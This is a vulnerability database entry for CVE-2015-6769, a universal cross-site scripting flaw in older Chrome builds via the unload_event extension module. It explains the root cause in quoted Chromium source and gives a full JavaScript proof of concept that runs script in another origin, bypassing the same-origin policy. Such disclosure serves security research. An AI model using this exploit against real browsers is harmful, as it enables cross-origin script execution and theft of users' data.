Lucene search

K
seebugRootSSV:93030
HistoryApr 24, 2017 - 12:00 a.m.

Chrome Universal XSS via the unload_event module (CVE-2015-6769)

2017-04-2400:00:00
Root
www.seebug.org
24

EPSS

0.009

Percentile

82.4%

VULNERABILITY DETAILS

From /WebKit/Source/core/loader/DocumentLoader.cpp:

PassRefPtrWillBeRawPtr<DocumentWriter> DocumentLoader::createWriterFor(const Document* ownerDocument, const DocumentInit& init, ...)
{
    LocalFrame* frame = init.frame();

    ASSERT(!frame->document() || !frame->document()->isActive());
    ASSERT(frame->tree().childCount() == 0);

    if (!init.shouldReuseDefaultView())
        frame->setDOMWindow(LocalDOMWindow::create(*frame));

    RefPtrWillBeRawPtr<Document> document = frame->localDOMWindow()->installNewDocument(mimeType, init);
(...)
}

|frame->setDOMWindow| clears the window proxy, which disposes the V8 context, which notifies observers of WillReleaseScriptContext. Among the observers, there’s |extension_dispatcher_|, which loads the “unload_event” module and triggers its |dispatch| method. This in turn can run user’s code through getters/setters. Having arbitrary script at this execution point may lead to all sorts of broken/unexpected behavior, the example below bypasses SOP by attaching a document that’s never forced to detach itself from the frame.

VERSION

Chrome 45.0.2454.99 (Stable)
Chrome 46.0.2490.33 (Beta)
Chrome 47.0.2508.0 (Dev)
Chromium 47.0.2517.0 (Release build compiled today)


                                                <script>
var i = document.documentElement.appendChild(document.createElement('iframe'));
frames[0].name = 'i';
frames[0].Object.prototype.__defineSetter__('wasDispatched', f);

function f(b) {
  if (b) {
    var a = document.createElement('a');
    a.href = 'about:blank';
    a.target = 'i';
    a.click();
    d = i.contentDocument;
  }
}

i.onload = function() {
  i.onload = function() {
    d.body.setAttribute('onload', 'alert(location)');
    d.body.onload();
  }
  i.src = 'https://abc.xyz';
}

i.src = 'javascript:""';
</script>